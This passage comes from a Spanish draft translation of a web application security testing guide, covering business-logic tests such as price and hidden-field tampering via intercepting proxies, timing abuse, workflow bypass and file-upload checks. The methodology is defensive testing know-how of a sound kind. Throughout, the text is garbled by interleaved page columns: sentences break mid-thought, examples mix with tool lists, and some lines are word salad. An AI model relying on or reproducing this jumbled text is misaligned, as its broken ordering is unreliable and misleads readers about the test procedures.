Ejemplo 1: Supongamos que un sitio de comercio electrónico permite a los usuarios seleccionar elementos que desean comprar, ver una página de resumen y luego licitar la venta. ¿Qué pasaría si un atacante vuelve a la página de resumen, manteniendo la validez de la sesión e inyecta un menor costo en un elemento, completa la transacción y luego sale?
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 276
Guia de pruebas 4.0 "Borrador"
Ejemplo 2: Retener/bloquear recursos y evitar que otros puedan comprar estos artículos en línea puede resultar en que los atacantes compren artículos a bajo precio. La solución a este problema es implementar tiempos de cierre de sesión y mecanismos para asegurar que sólo el precio correcto puede ser cargado.
Esto es importante porque, sin esta protección, los atacantes pueden ser capaces de "engañar/trucar" la aplicación para que les permita entrar en secciones de la aplicación del sistema a las cuáles no deberian tener acceso en ese momento en particular, eludiendo así el flujo de trabajo de la lógica de negocio de la aplicación.
4.12.3 Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Ejemplo 3: ¿Qué pasaría si un usuario pudo iniciar una transacción vinculada a su cuenta de club o lealtad y luego de agregar los puntos a su cuenta cancela la transacción? ¿Los puntos o créditos todavía pueden aplicarse a su cuenta?
Casos de prueba de la lógica del negocio Cada aplicación tiene un proceso diferente de negocio y lógica la aplicación y puede ser manipulada en un número combinaciones. Esta sección proporciona algunos ejemplos problemas de lógica de negocio, pero de ninguna manera completa de todos los temas.
específica de infinito de comunes de es una lista
Las explotaciones de la lógica del negocio pueden separarse en las siguientes categorías:
En la comprobación de integridad y prueba de evidencia de adulteración, verificamos que la aplicación no permita a los usuarios destruir la integridad o datos de cualquier parte del sistema.
Esto es importante porque, sin estas protecciones, los atacantes pueden romper el flujo de trabajo de la lógica del negocio y cambiar o poner en peligro los datos del sistema de aplicación o encubrir acciones mediante la alteración de información, incluyendo archivos de registro.
4.12.4 Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) En las pruebas del tiempo de procesamiento, verificamos que la aplicación no permita a los usuarios manipular un sistema o adivinar su comportamiento basado en los tiempos de procesamiento de entrada o salida.
4.12.1 Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001) En la prueba de validación de datos de la lógica del negocio, verificamos que la aplicación no permita a los usuarios insertar datos "no validados" en el sistema o la aplicación.
Esto es importante porque, sin esta protección, los atacantes pueden insertar datos/información "no validada" en la aplicación/sistema en "puntos de entrega" donde el sistema/aplicación considera que los datos/información es "buena" y ha sido válida desde que los puntos de"entrada" realizaron la validación de datos como parte del flujo de trabajo de la lógica de negocio.
4.12.2 Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC002) En las pruebas de requerimientos de parámetros predictivos y manipulados, verificamos que la aplicación no permita a los usuarios enviar o modificar los datos de cualquier componente del sistema al que ellos no deben tener acceso, que estén accediendo en ese momento o de esa manera en particular.
Esto es importante porque, sin esta protección, los atacantes pueden ser capaces de controlar el tiempo de procesamiento y determinar las salidas basados en el tiempo o eludir la lógica del negocio de la aplicación al no completar transacciones o acciones en forma oportuna.
4.12.5 Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005) Al probar el límite de una función, verifique que la aplicación no permita a los usuarios utilizar partes de la aplicación o sus funciones, más veces de las requeridas por el flujo de la lógica de trabajo.
Esto es importante porque, sin esta protección, los atacantes pueden utilizar una función o parte de la aplicación un mayor número de veces que el permitido por la lógica de negocio para obtener beneficios adicionales.
4.12.6 Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC006)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 277
Guia de pruebas 4.0 "Borrador"
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, verificamos que la aplicación no permite a los usuarios realizar acciones fuera del flujo de proceso de negocios "aprobado/requerido".
Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de evadir o burlar los flujos de trabajo y "controles" que les permite entrar prematuramente o saltarse las secciones de la aplicación "requerida s", y potencialmente permite que la acción/transacción termine sin completar el proceso de negocio, dejando al sistema con información de seguimiento incompleta en el backend.
Aunque existen herramientas para probar y verificar que los procesos del negocio funcionan correctamente en situaciones válidas, estas herramientas son incapaces de detectar vulnerabilidades lógicas. Por ejemplo, las herramientas no tienen posibilidad de detectar si un usuario es capaz de evitar el flujo de proceso del negocio a través de la edición de parámetros, predicción de nombres de recursos o escalada de privilegios para acceder a recursos restringidos ni tienen ningún mecanismo para ayudar a los evaluadores humanos para que sospechen de esta situación.
Los siguientes son algunos tipos comunes de herramientas que pueden ser útiles en la identificación de temas relacionados con la lógica del negocio.
HP Business Process Testing Software 4.12.7 Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007) En las pruebas de defensas contra el mal uso de la aplicación, verificamos que la aplicación no permita a los usuarios manipular la aplicación de una manera no deseada.
• www8.hp.com
Intercepting Proxy - Para observar los bloques de solicitud y respuesta del tráfico HTTP. • OWASP ZAP: owasp.org
4.12.8 Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) En la prueba de carga de tipos de archivos inesperados, verificamos que la aplicación no permita a los usuarios cargar tipos de archivos que el sistema no espera o requiera de acuerdo a la lógica del negocio.
Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de enviar archivos inesperados tales como .exe o .php que se guardan en el sistema y luego se ejecutan contra el sistema o aplicación.
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009) Al probar la carga de archivos maliciosos, verifique que la aplicación no permita a los usuarios cargar archivos maliciosos o potencialmente dañinos al sistema y a su seguridad.
• Burp Proxy: portswigger.net • Paros Proxy: parosproxy.org
Web Browser Plug-ins - Para visualizar y modificar encabezados HTTP/HTTPS, parámetros de publicación y observar el DOM del navegador • Tamper Data (for Internet Explorer: addons.mozilla.org
• TamperIE (for Internet Explorer): bayden.com
• Firebug (for Internet Explorer): addons.mozilla.org
Herramientas de pruebas misceláneas Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de cargar archivos al sistema que pueden propagar virus, malware o incluso explotaciones como shellcode cuando se ejecutan.
• Web Developer toolbar: chrome.google.com
Herramientas
La extensión Web Developer añade un botón a la barra de herramientas en el navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la extención de Web Developer para Firefox.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 278
Guia de pruebas 4.0 "Borrador"
• HTTP Request Maker: chrome.google.com
Request Maker es una herramienta para pruebas de penetración. Con ésta usted puede capturar fácilmente solicitudes realizadas por páginas web, manipular la URL, encabezados, datos POST y, por supuesto, realizar nuevas solicitudes.
Realice solicitudes HTTP desde su navegador y navegue en la respuesta (encabezados HTTP y fuente). Envíe métodos HTTP, encabezados y cuerpo utilizando XMLHttpRequest desde su navegador y luego vea el estado HTTP, encabezados y fuente. Haga clic en los links del encabezado o cuerpo para generar nuevas solicitudes. Este plug-in da formato de respuesta XML y utiliza un resaltador de sintaxis Syntax Highlighter < http://alexgorbatchev.com/ >.
• Firebug lite for Chrome: chrome.google.com
• Cookie Editor: chrome.google.com
Edit This Cookie es un administrador de cookies. Usted puede añadir, borrar, editar, buscar, proteger y bloquear cookies
Firebug Lite no sustituye a Firebug, o las herramientas de Chrome Developer. Es una herramienta para utilizarla conjuntamente con estas otras herramientas. Firebug Lite provee la representación visualmente rica que estamos acostumbrados a ver en Firebug cuando vemos los elementos HTML, DOM, y Box Model shading. Además, provee algunas características interesantes como el inspeccionar los elementos HTML con su mouse y propiedades de edición en vivo para CSS.
• Session Manager: chrome.google.com
Referencias Libros Blancos
Con Session Manager usted puede grabar rápidamente el estado de su navegador actual y recargarlo cuando sea necesario. Puede gestionar múltiples sesiones, renombrarlas o removerlas de la biblioteca de sesión.
• Business Logic accorute.googlecode.com
Vulnerabilities
in
Web
Applications:
• The Common Misuse Scoring System (CMSS): Metrics for Cada sesión recuerda el estado del navegador en su momento de creación, es decir, las ventanas y pestañas abiertas. Una vez que se abre una sesión, el navegador se restaura a su estado original.
• Swap My Cookies: chrome.google.com
Swap My Cookies es un administrador de sesión. Gestiona sus cookies, permitiéndole conectarse en cualquier sitio web con varias cuentas diferentes.
Usted puede finalmente conectarse a Gmail, yahoo, hotmail, y prácticamente a cualquier sitio web que utilice, con todas sus cuentas; si quiere utilizar otra cuenta, ¡solo tiene que intercambiar su perfil!
Software Feature Misuse Vulnerabilities - NISTIR 7864: csrc.nist.gov
• Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi: ijns.femto.com.tw
• Finite State testing of Graphical User Interfaces, Fevzi Belli: slideshare.net
• Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis: cse.ohio-state.edu
• Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi: homepages.cs.ncl.ac.uk • HTTP Response Browser: chrome.google.com/
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 279
Guia de pruebas 4.0 "Borrador"
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee: info-point-security.com • Prevent application logic attacks with sound app security practices: searchappsecurity.techtarget.com • Seven Business Logic Flaws That Put Your Website At Risk Jeremiah Grossman whitehatsec.com
Founder
and
CTO,
WhiteHat
Security:
• Real-Life Example of a ‘Business Logic Defect: infosecisland.com
• Software Testing Lifecycle: softwaretestingfundamentals.com • Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna: usenix.org • Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix: ntobjectives.com and ntobjectives.com • 2012 Web Session Intelligence & Security Report: Business Logic Abuse, Dr. Ponemon: emc.com Libros Relacionados a OWASP • Business Logic Attacks – Bots and Bats, Eldad Chai: blog.imperva.com
• OWASP Detail Misuse Cases: owasp.org
• The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)
Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001) Resumen
• How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana: slideshare.net
Sitios web útiles
La aplicación debe asegurarse que pueden introducirse lógicamente datos válidos en la sección de acceso directo, así como directamente en el lado del servidor de una aplicación del sistema. Sólo verificar los datos localmente puede dejar a las aplicaciones vulnerables a inyecciones de servidor a través de proxies o en los intercambios con otros sistemas.
• Abuse of Functionality: projects.webappsec.org
• Business logic: en.wikipedia.org
Esto es diferente a simplemente realizar un análisis de valor de límite (BVA) que es más difícil y, en la mayoría de los casos, no se puede comprobar simplemente en el punto de entrada; generalmente requiere de algún otro sistema de control.
• Business Logic Flaws and Yahoo Games: jeremiahgrossman.blogspot.com
• CWE-840: Business Logic Errors: cwe.mitre.org
Por ejemplo: una aplicación puede solicitar su número de seguro social. En BVA, la aplicación debe comprobar formatos y semántica (el valor tiene 9 dígitos de largo, no es negativo y no contiene solo 0) en los datos introducidos, pero también hay consideraciones lógicas. Los números de seguro social son agrupados y categorizados. ¿Esta persona está en un archivo de difuntos? ¿Son de una cierta parte del país?
• Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic: slideshare.net
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 280
Guia de pruebas 4.0 "Borrador"
Las vulnerabilidades relacionadas con la validación de datos son únicas, ya que son para una aplicación específica y diferente a las vulnerabilidades relacionadas con la manipulación de solicitudes en las que están más preocupadas de la lógica de los datos en lugar de simplemente romper el flujo de trabajo de la lógica del negocio.
crédito en múltiples lugares muy rápidamente, es posible superar mi límite si los sistemas están basando sus decisiones en los datos de anoche.
Cómo probar Método de prueba genérica Tanto la sección de acceso directo (front-end) como la sección de acceso restringido (back-end) de la aplicación deben verificar y validar que la información que tiene, utiliza y pasa está validada lógicamente. Incluso si el usuario provee datos válidos a la aplicación, la lógica del negocio puede hacer que la aplicación se comporte de una manera distinta, dependiendo de los datos o las circunstancias.
Ejemplos
• Revise la documentación del proyecto y utilice pruebas exploratorias en busca de puntos de entrada de datos o puntos de intercambio entre sistemas o software.
• Una vez encontrados, intente insertar datos lógicamente inválidos en el sistema o aplicación.
Ejemplo 1 Método de prueba específica: Supongamos que administra un sitio de comercio electrónico de multiples niveles. El usuario escoge la alfombra, ingresa el tamaño, realiza el pago y la aplicación de acceso directo ha verificado que toda la información ingresada es correcta y válida para el contacto, tamaño, fabricación y color de la alfombra. Sin embargo, la lógica de negocio tiene, en el fondo, dos rutas.
Si hay la alfombra en stock, se envía directamente desde su almacén. Si no hay stock en bodega, se realiza una llamada al sistema de su socio y si tienen en stock, se enviará la orden desde su bodega y será reembolsada por su empresa.
• Realizar pruebas GUI de validación funcional en la sección pública de la aplicación para asegurarse que se aceptan únicamente los valores "válidos".
• Utilizando un proxy de intercepción, observe que el POST/GET de HTTP busque lugares donde pasan variables tales como costo y cantidad. Específicamente, busque "transferencias" entre aplicaciones y sistemas que pueden ser posibles puntos de inyección de manipulación.
¿Qué pasaría si un atacante es capaz de continuar una transacción válida con stock en su bodega y la envía a su socio como que si no hubiera en stock? ¿Qué pasaría si un atacante es capaz de ingresar en el medio y envía mensajes al almacén del socio ordenando alfombras sin pagar?
•Una vez que las variables se encuentran, empiece a interrogar el campo con datos lógicamente "no validos", como números de seguro social o identificadores únicos que no existen o que no encajan en la lógica del negocio. Esta prueba verifica que el servidor funciona correctamente y no acepta datos lógicamente no válidos.
Ejemplo 2
Casos de prueba relacionados
Muchos sistemas de tarjetas de crédito ahora descargan los saldos cada noche para que los clientes puedan terminar su transacción más rápidamente cuando las cantidades están bajo un cierto valor. En sentido contrario también sería cierto.
• Todos los casos de validación de ingresos (Input Validation)
Si pago mi tarjeta de crédito por la mañana no seré capaz de usar el crédito disponible por la tarde. Otro ejemplo puede ser que si utilizo mi tarjeta de
• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario. (OTG-IDENT-004)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 281
Guia de pruebas 4.0 "Borrador"
• Pruebas del esquema de gestión de sesión (OTG-SESS-001)
aquellas que permiten la depuración y presentación de pantallas especiales o ventanas que son muy útiles durante el desarrollo, pero pueden filtrar información o eludir la lógica del negocio.
• Pruebas para determinar la Exposición de las Variables de Sesión (OTGSESS-004)
Herramientas
Las vulnerabilidades relacionadas con la capacidad de falsificar las solicitudes son únicas para cada aplicación y diferentes en la validación de datos de la lógica del negocio, ya que su objetivo es romper el flujo de trabajo de la lógica del negocio.
• OWASP Zed Attack Proxy (ZAP): www.owasp.org/
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.
Referencias
Las aplicaciones deben tener controles lógicos para evitar que el sistema acepte solicitudes falsificadas que pueden permitir a los atacantes la posibilidad de explotar la lógica del negocio, proceso o flujo de la aplicación. La falsificación de solicitudes no es nueva; el atacante utiliza un proxy de intercepción para enviar solicitudes POST/GET de HTTP a la aplicación.
Mediante la falsificación de solicitudes, los atacantes pueden evadir la lógica del negocio o proceso al encontrar, predecir y manipular los parámetros para hacer que la aplicación piense que un proceso o tarea ha ocurrido o no.
Beginning Microsoft Visual Studio LightSwitch Development: books.google.com
Remediación La aplicación/sistema debe garantizar que sólo datos "lógicamente válidos" se acepten en todas las entradas y puntos de transferencia de la aplicación o sistema, y que los datos no se consideren confiables una vez que han sido ingresados en el sistema.
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) Resumen Falsificar las solicitudes es un método que utilizan los atacantes para eludir la sección de acceso público de una aplicación GUI, para presentar directamente la información para que se procese en la sección de acceso restringido. El objetivo del atacante es enviar las solicitudes POST/GET de HTTP a través de un proxy de intercepción con los valores de datos no soportados, protegidos en contra o esperados por la lógica del negocio de la aplicación.
Algunos ejemplos de solicitudes falsificadas que explotan parámetros que pueden adivinarse o predecirse o que exponen funciones "ocultas" como
Además, las solicitudes falsificadas pueden permitir la subversión del flujo del programa o de la lógica del negocio invocando funciones "ocultas" o funcionalidad como la depuración, inicialmente utilizada por los desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje oculto o una función en un trabajo como un programa de computadora, película, libro o crucigrama.
Según el diseñador de juegos Warren Robinett, el término fue acuñado en Atari por el personal que fue alertado de la presencia de un mensaje secreto que había sido escondido por Robinett en su juego ya ampliamente distribuido, Adventure. Se puso este nombre para evocar la idea de una cacería tradicional de "huevos de Pascua.” http://en.wikipedia.org/wiki/Easter_egg_(media)
Ejemplos Ejemplo 1 Supongamos que un teatro en su sitio de comercio electrónico permite a los usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10% una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es capaz de ver a través de un proxy que la aplicación cuenta con un campo oculto (de 1 o 0) usado por la lógica del negocio para determinar si ha
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 282
Guia de pruebas 4.0 "Borrador"
habido un descuento o no, el atacante podría presentar el 1 o el valor de "descuento no ha sido tomado" varias veces para aprovechar el descuento varias veces.
• Si se encuentra que algún valor es adivinable, este valor puede ser modificado y se puede obtener visibilidad inesperada. Método de prueba específica 2:.
Ejemplo 2 Supongamos que un juego de video en línea paga fichas por puntos anotados por encontrar tesoros piratas, piratas y por cada nivel completado. Estas fichas pueden intercambiarse posteriormente por premios.
Además, los puntos de cada nivel tienen un valor multiplicador igual al nivel. Si un atacante es capaz de ver a través de un proxy que la aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas para llegar rápidamente a los niveles más altos del juego, podría usarlo también para llegar a los niveles más altos y acumular puntos no ganados rápidamente.
Asimismo, si un atacante es capaz de ver a través de un proxy que la aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas para habilitar un registro que indica dónde se encuentran otros jugadores en línea o los tesoros escondidos en relación con el atacante, entonces podrían ir rápidamente a estos lugares y anotar puntos.
• Usando un proxy de intercepción, observe la solicitud POST/GET de HTTP en busca de indicios de funciones ocultas como la de depuración, que puede ser encendida o activada.
• Si encuentra alguna, trate de adivinar y cambiar estos valores para obtener una respuesta o comportamiento distinto de la aplicación.
Casos de prueba relacionados
Pruebas para determinar la Exposición de las Variables de Sesión (OTG SESS-004)
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cómo probar Método de prueba genérica
Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)
• Revise la documentación del proyecto y utilice pruebas exploratorias en busca de campos funcionales que pueden ser adivinados, predecibles u ocultos.
Herramientas
• Una vez encontrados, intente insertar datos lógicamente válidos en el sistema o aplicación, lo que permite al usuario ir a través de la aplicación/sistema contra el flujo normal de la lógica del negocio.
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.
Método de prueba específica 1:
• Utilizando un proxy de intercepción, observe las solicitudes POST/GET de HTTP, busque algún indicio de que los valores están incrementando en intervalos regulares o son fáciles de adivinar.
OWASP Zed Attack Proxy (ZAP): owasp.org
Referencias Cross Site Request Forgery - Legitimizing Forged Requests: fragilesecurity.blogspot.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 283
Guia de pruebas 4.0 "Borrador"
Easter egg: en.wikipedia.org
Top 10 Software Easter Eggs: lifehacker.com
La aplicación debe ser lo suficientemente inteligente como para comprobar las ediciones relacionales que no permitan a los usuarios enviar información sin validar directamente al servidor, sólo porque vino desde controles no editables o que el usuario no está autorizado a enviar desde la sección frontal.
Remediación La aplicación debe ser lo suficientemente inteligente y diseñada con una lógica del negocio que evite que los atacantes puedan predecir y manipular los parámetros para subvertir el flujo de programación, la lógica del negocio o explotar una funcionalidad oculta/no documentada como la depuración.
Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Resumen Muchas aplicaciones están diseñadas para mostrar diferentes campos, dependiendo del usuario en cada situación y dejando algunas entradas ocultas. Sin embargo, en muchos casos es posible enviar valores de campo oculto al servidor utilizando un proxy. En estos casos, los controles del lado del servidor deben ser lo suficientemente inteligentes como para llevar a cabo ediciones relacionales o del lado del servidor para garantizar que los datos adecuados se ingresan al servidor basado en la lógica del negocio específico del usuario y la aplicación.
Además, la aplicación no debe depender de controles no editables, menús desplegables o campos ocultos para el procesamiento de la lógica del negocio porque estos campos son no-editables sólo en el contexto de los navegadores. Los usuarios pueden ser capaces de modificar sus valores usando herramientas de edición proxy y tratar de manipular la lógica de negocio.
Si la aplicación expone valores relacionados a las reglas del negocio, como cantidad, etc., como campos no editables, se debe mantener una copia en el servidor y usar el mismo para el procesamiento de la lógica del negocio. Por último, además de los datos de la aplicación/sistema, los sistemas de registro deben asegurarse para evitar la lectura, escritura y actualización.
La comprobación de vulnerabilidades de la integridad de la lógica del negocio son únicas, ya que estos casos de mal uso son específicos de cada aplicación y si los usuarios son capaces de hacer cambios, solo se debería poder escribir, actualizar o modificar artefactos específicos en momentos determinados por el proceso de la lógica del negocio.
Ejemplo Ejemplo 1 Imagine una aplicación GUI del tipo ASP.NET que sólo permite al usuario administrador cambiar la contraseña de otros usuarios en el sistema. El usuario administrador verá los campos nombre de usuario y contraseña para ingresar un nombre de usuario y contraseña mientras que otros usuarios no verán ninguno de estos campos. Sin embargo, si un usuario no administrador presenta información en el campo nombre de usuario y contraseña a través de un proxy , pueden ser capaces de "engañar" al servidor haciéndole creer que la solicitud proviene de un usuario administrador y así cambiar la contraseña de otros usuarios.
Ejemplo 2 La mayoría de las aplicaciones web tiene listas desplegables, lo que permite al usuario seleccionar rápidamente su estado, mes de nacimiento, etc.. Supongamos que una aplicación de gestión de proyectos permite a los usuarios iniciar una sesión y, dependiendo de sus privilegios, les presenta una lista desplegable de proyectos a los que tienen acceso.
¿Qué pasaría si un atacante encuentra el nombre de otro proyecto al que no debería tener acceso y envía la información a través de un proxy? ¿La aplicación le dará acceso al proyecto? No deberían tener acceso a pesar de haber evadido algún control de autorización de la lógica del negocio.
Ejemplo 3 Supongamos que el sistema de administración de vehículos a motor requiere que un empleado verifique al inicio toda la información y documentación de los ciudadanos cuando emiten una identificación o licencia de conducir.
En este punto, el proceso del negocio ha creado datos con un alto nivel de integridad, ya que la integridad de los datos se comprueba mediante la aplicación. Ahora, supongamos que la aplicación se mueve al internet para que los empleados puedan iniciar una sesión con acceso al servicio completo o los ciudadanos puedan conectarse con un acceso reducido a la aplicación de autoservicio para actualizar cierta información. En este punto,
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 284
Guia de pruebas 4.0 "Borrador"
un atacante puede usar un proxy interceptor para agregar o actualizar datos a los que no debería tener acceso y podría destruir la integridad de los datos indicando que el ciudadano no estaba casado, pero suministrando los datos para el nombre de un cónyuge. Este tipo de inserción o actualización de datos no verificados destruye la integridad de los datos y podría haberse evitado si se seguía la lógica del proceso del negocio.
Ejemplo 4 Muchos sistemas incluyen registros para el propósito de auditoría y solución de problemas. Pero, ¿qué tan buena/válida es la información de estos registros? ¿Pueden ser manipulados por los atacantes intencional o accidentalmente, destruyendo su integridad?
Método de prueba específica 2 • Usando un proxy, capture cualquier tráfico HTTP en busca de un lugar para insertar información en las áreas de la aplicación que no son editables.
•Si los encuentra, vea cómo este campo se compara con la aplicación GUI e interrogue a este valor mediante el proxy, presentando diferentes valores, tratando de eludir los procesos del negocio y manipulando los valores a los que no debería tener acceso..
Método de prueba específica 3 • Liste los componentes de la aplicación o sistema que pueden ser editados, por ejemplo, registros o bases de datos.
Cómo probar Método de prueba genérica • Revise la documentación del proyecto y utilice una prueba exploratoria en busca de piezas de la aplicación/sistema (componentes, por ejemplo, los campos de entrada, las bases de datos o registros) que mueven, almacenan o manejan datos/información.
•En cada componente identificado, tratar de leer, editar o eliminar su información. Por ejemplo, los archivos de registro deben identificarse y los evaluadores deben tratar de manipular la información que recogen.
Casos de prueba relacionados • Para cada componente identificado, determine qué tipo de datos/información son lógicamente aceptables y de qué tipo de aplicación/sistema debe protegerse. Tome en cuenta también quién, según la lógica del negocio, tiene autorización para insertar, actualizar y eliminar datos/información y en qué componente.
Todos los casos de prueba de validación de ingresos.
Herramientas • Varias herramientas del sistema/aplicación como editores y herramientas de manipulación de archivos.
• Intente insertar, actualizar, editar o borrar los valores de la información con datos no válidos en cada componente (es decir, entrada, base de datos o registro) para los usuarios que no deben tener permiso en el flujo de trabajo de la lógica del negocio.
.
• OWASP Zed Attack Proxy (ZAP): owasp.org Método de prueba específica 1 • Usando una proxy capture cualquier tráfico de HTTP en búsqueda de campos ocultos.
• Si encuentra un campo oculto, vea cómo este campo se compara con la aplicación GUI e interrogue a este valor mediante el proxy, presentando diferentes valores, tratando de eludir los procesos del negocio y manipulando los valores a los que no debería tener acceso.
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente..
Referencias
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 285
Guia de pruebas 4.0 "Borrador"
• Implementing Referential Integrity and Shared Business Logic in a RDB: agiledata.org
acuerdo a eso, cambiar el comportamiento basado en esa expectativa y "jugarle al sistema".
• On Rules and Integrity Constraints in Database Systems: comp.nus.edu.sg
Ejemplo Ejemplo 1
• Use referential integrity to enforce basic business rules in Oracle: techrepublic.com
• Maximizing Business architects.dzone.com
Logic
Reuse
with
Reactive
Los videos de juegos de azar/tragamonedas pueden tardar más tiempo en procesar una transacción antes de realizar un desembolso fuerte. Esto permitiría a los jugadores astutos apostar cantidades mínimas hasta que vean el tiempo de proceso largo que los haría apostar el máximo.
Logic: Ejemplo 2
• Tamper Evidence Logging - http://tamperevident.cs.rice.eduLogging.html
Remediación La aplicación debe ser lo suficientemente inteligente como para comprobar las ediciones relacionales y no permitir a los usuarios enviar información directamente al servidor sin que ésta se haya validado, simplemente porque vino desde controles no editables o porque el usuario no está autorizado a enviar desde la sección de acceso público. Además, cualquiera de los componentes que se puede editar debe tener mecanismos para prevenir la escritura o actualización accidental/intencional.
Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) Resumen Es posible que los atacantes puedan recopilar información sobre una aplicación controlando el tiempo que le toma para completar una tarea o dar una respuesta. Además, los atacantes pueden ser capaces de manipular y quebrar los flujos de procesos del negocio diseñados, simplemente manteniendo las sesiones activas y no enviando sus transacciones en el tiempo "esperado".
Las vulnerabilidades de la lógica de sincronización de procesos son únicas, porque en estos casos manuales de mal uso deben crearse considerando la ejecución y sincronización de transacciones que son específicas de cada aplicación/sistema.
Muchos procesos de registro de sistema solicitan el nombre de usuario y la contraseña. Si usted mira de cerca, podrá ver que ingresar un nombre de usuario y una contraseña no válidos requiere más tiempo para devolver un error que ingresar un nombre de usuario válido y una contraseña no válida. Esto puede permitir al atacante saber si tienen un nombre de usuario válido y no necesitan confiar en el mensaje de GUI.
Ejemplo 3 La mayoría de arenas o agencias de viajes tienen aplicaciones que permiten a los usuarios comprar boletos y reservar asientos. Cuando el usuario solicita los boletos, los asientos se bloquean o reservan quedando pendientes de pago. ¿Qué pasaría si un atacante sigue reservando asientos, pero no sale del sistema? ¿Se liberarán los asientos, o no se venderán los boletos? Algunos proveedores de boletos ahora sólo permiten a los usuarios tomarse cinco minutos para completar una transacción o se invalida la transacción.
Ejemplo 4 Supongamos que un sitio de comercio electrónico de metales preciosos permite a los usuarios hacer compras con una cotización del precio basada en el precio de mercado vigente en el momento que inicia la sesión. ¿Qué pasaría si un atacante inicia la sesión y realiza un pedido y no completa la transacción hasta más tarde en el día cuándo el precio de los metales ha subido? ¿El atacante conseguirá el precio bajo inicial?
Cómo probar
El tiempo de procesamiento puede dar/fugar información sobre lo que se hace en los procesos ocultos del sistema/aplicación. Si una aplicación permite a los usuarios adivinar cuál será el siguiente resultado en particular al procesar las variaciones de tiempo, los usuarios podrán ajustar y, de
•Revise la documentación del proyecto y utilice pruebas exploratorias en búsqueda de la funcionalidad del sistema/aplicación que pueda ser afectado por el tiempo, como puede ser el tiempo de ejecución o acciones que ayuden a los usuarios a predecir un resultado futuro o le permitan eludir cualquier parte de la lógica del negocio o flujo de trabajo. Por ejemplo, no completar las transacciones en un tiempo esperado.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 286
Guia de pruebas 4.0 "Borrador"
aplicaciones pueden tener un plan de suscripción y sólo permitir a los usuarios descargar tres documentos completos por mes. • Desarrolle y ejecute los casos de mal uso ;asegúrese de que los atacantes no puedan ganar una ventaja basada en cualquier tiempo.
Casos de prueba relacionados
Las vulnerabilidades relacionadas con la prueba de los límites de la función son de aplicación específica y se deben crear casos de uso indebido que se esfuercen por probar las partes de las aplicaciones/funciones o acciones más veces de las permitidas.
• Pruebas de los atributos de las cookies (OTG-SESS-002)
• Pruebas del tiempo de cierre de sesión (OTG-SESS-007)
Los atacantes pueden ser capaces de eludir la lógica del negocio y ejecutar una función más veces que las "permitidas" al explotar la aplicación para obtener beneficios personales.
Referencias Ejemplo Ninguna
